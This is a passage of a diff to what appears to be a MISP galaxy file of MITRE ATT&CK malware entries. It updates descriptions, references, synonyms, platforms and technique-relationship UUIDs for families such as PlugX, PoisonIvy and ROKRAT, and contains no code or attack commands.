"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "b350b47f-88fe-4921-8538-6d9c59bac84e", - "value": "Cyclops Blink - S0687" - }, { "description": "[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0306", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0306", "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.FakeInst.a" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5528,14 +5196,20 @@ "description": "[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0307", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0307", "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.Agent.ao" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5549,14 +5223,20 @@ "description": "[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0308", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0308", "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.OpFake.a" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5575,7 +5255,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0084", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Mis-Type" @@ -5686,7 +5366,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0085", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "S-Type" @@ -5875,9 +5555,17 @@ "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", "meta": { "external_id": "S0133", + "mitre_platforms": [ + "Windows" + ], "refs": [ "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml", "https://attack.mitre.org/software/S0133" + ], + "synonyms": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" ] }, "related": [ @@ -6131,14 +5819,28 @@ }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6152,14 +5854,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6173,7 +5868,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6200,14 +5895,28 @@ }, "related": [ { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6248,28 +5957,28 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6282,6 +5991,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -6290,7 +6006,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6351,7 +6074,7 @@ }, "related": [ { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6438,17 +6161,15 @@ "value": "Agent.btz - S0092" }, { - "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)", "meta": { "external_id": "S0093", "mitre_platforms": [ "Windows" ], "refs": [ - "https://attack.mitre.org/software/S0093", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf" + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "https://attack.mitre.org/software/S0093" ], "synonyms": [ "Backdoor.Oldrea", @@ -6463,13 +6184,6 @@ ], "type": "uses" }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ @@ -6553,42 +6267,21 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974", "value": "Backdoor.Oldrea - S0093" }, { - "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )", "meta": { "external_id": "S0094", "mitre_platforms": [ "Windows" ], "refs": [ + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", "https://attack.mitre.org/software/S0094", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.dragos.com/threat/dymalloy/", "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector" ], @@ -6775,13 +6468,6 @@ ] }, "related": [ - { - "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ @@ -6831,6 +6517,13 @@ ], "type": "uses" }, + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -7388,9 +7081,15 @@ "description": "[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)", "meta": { "external_id": "S0300", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/", "https://attack.mitre.org/software/S0300" + ], + "synonyms": [ + "DressCode" ] }, "related": [ @@ -7632,7 +7331,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0004", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ], "synonyms": [ "TinyZBot" @@ -8267,13 +7966,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "565275d5-fcc3-4b66-b4e7-928e4cac6b8c", "tags": [ @@ -8281,13 +7973,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", "tags": [ @@ -8309,13 +7994,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ @@ -8642,7 +8320,7 @@ "value": "WEBC2 - S0109" }, { - "description": "[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo)", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)", "meta": { "external_id": "S0021", "mitre_platforms": [ @@ -8981,14 +8659,13 @@ "value": "JPIN - S0201" }, { - "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", "meta": { "external_id": "S0012", "mitre_platforms": [ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0012", "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", @@ -8997,7 +8674,6 @@ ], "synonyms": [ "PoisonIvy", - "Breut", "Poison Ivy", "Darkmoon" ] @@ -9332,7 +9008,7 @@ }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9346,7 +9022,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9359,13 +9042,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", "tags": [ @@ -9373,6 +9049,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -9380,6 +9063,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "ea3a8c25-4adb-4538-bf11-55259bdba15f", "tags": [ @@ -9392,7 +9082,7 @@ "value": "Dendroid - S0301" }, { - "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)", + "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)", "meta": { "external_id": "S0013", "mitre_platforms": [ @@ -9402,15 +9092,12 @@ "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "http://labs.lastline.com/an-analysis-of-plugx", "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0013", "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" ], "synonyms": [ "PlugX", - "Thoper", - "TVT", "DestroyRAT", "Sogu", "Kaba", @@ -9446,20 +9133,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -9474,13 +9147,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", "tags": [ @@ -9558,13 +9224,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ @@ -9614,13 +9273,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa", "tags": [ @@ -9967,9 +9619,15 @@ "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)", "meta": { "external_id": "S0041", + "mitre_platforms": [ + "Windows" + ], "refs": [ "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/", "https://attack.mitre.org/software/S0041" + ], + "synonyms": [ + "Wiper" ] }, "related": [ @@ -11960,9 +11618,15 @@ "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", "meta": { "external_id": "S0022", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0022", "https://securelist.com/the-epic-turla-operation/65545/" + ], + "synonyms": [ + "Uroburos" ] }, "related": [ @@ -12226,20 +11890,13 @@ "refs": [ "https://attack.mitre.org/software/S0320", "https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app", - "https://www.zscaler.com/blogs/security-research/super-mario-run-malware-2-droidjack-rat" + "https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat" ], "synonyms": [ "DroidJack" ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -12248,7 +11905,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12260,20 +11924,26 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1", "value": "DroidJack - S0320" }, { - "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)", "meta": { "external_id": "S0203", "mitre_platforms": [ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0203", "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", @@ -12286,13 +11956,6 @@ ], "synonyms": [ "Hydraq", - "Roarur", - "MdmBot", - "HomeUnix", - "Homux", - "HidraQ", - "HydraQ", - "McRat", "Aurora", "9002 RAT" ] @@ -12599,7 +12262,14 @@ }, "related": [ { - "dest-uuid": "d916f176-a1ca-4a78-9fdd-4058bc28162e", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12613,7 +12283,7 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12734,7 +12404,7 @@ "value": "LOWBALL - S0042" }, { - "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", "meta": { "external_id": "S0240", "mitre_platforms": [ @@ -12744,8 +12414,7 @@ "https://attack.mitre.org/software/S0240", "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", - "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/" + "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" ], "synonyms": [ "ROKRAT" @@ -12759,13 +12428,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -12780,13 +12442,6 @@ ], "type": "uses" }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ @@ -12794,20 +12449,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -12815,13 +12456,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -12829,34 +12463,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ @@ -12885,13 +12491,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ @@ -12900,14 +12499,14 @@ "type": "uses" }, { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12934,33 +12533,12 @@ ], "type": "uses" }, - { - "dest-uuid": 